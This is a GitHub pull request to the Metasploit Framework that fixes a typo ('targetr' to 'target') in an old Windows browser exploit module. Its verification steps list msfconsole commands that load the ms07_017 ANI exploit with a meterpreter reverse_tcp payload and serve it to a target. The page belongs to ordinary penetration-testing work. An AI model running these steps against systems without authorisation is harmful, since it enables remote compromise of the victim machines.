Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Change targetr to target to fix small typo bug on one failure #9100

Merged
merged 1 commit into from Oct 20, 2017

Conversation

picatz
Copy link
Contributor

@picatz picatz commented Oct 20, 2017

The target object seems to have a typo where it is referred to as “targetr” which I’d guess isn’t exactly what we’d like to do in this case. So, I’ve changed that to “target” in order to work.

So, I’ve simply fixed that small typo. ✨

Tell us what this change does. If you're fixing a bug, please mention
the github issue number.

Verification

List the steps needed to make sure this thing works

With my updated code:

  • Start msfconsole
  • use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
  • set payload windows/meterpreter/reverse_tcp
  • set lhost 192.168.100.200 or whatever floats your boat
  • set srvhost 192.168.100.200 ⛵️ float
  • exploit 😈
  • Verify That we're serving up a working exploit.
  • Verify Can test on a box like Windows XP SP2 to see it works.
  • Verify The typo is gone! 🎉

The target object seems to have a typo where it is referred to as
“targetr” which I’d guess isn’t exactly what we’d like to do in this
case. So, I’ve changed that to “target” in order to work.

So, I’ve simply fixed that small typo.
@wvu wvu self-assigned this Oct 20, 2017
wvu added a commit to wvu/metasploit-framework that referenced this pull request Oct 20, 2017
@wvu wvu merged commit 7cd532c into rapid7:master Oct 20, 2017
@picatz
Copy link
Contributor Author

picatz commented Oct 20, 2017

Thanks for quickly taking care of this 👍

@wvu
Copy link
Contributor

wvu commented Oct 20, 2017

Thanks for the contribution!

@jmartin-tech jmartin-tech added the rn-no-release-notes no release notes label Nov 1, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants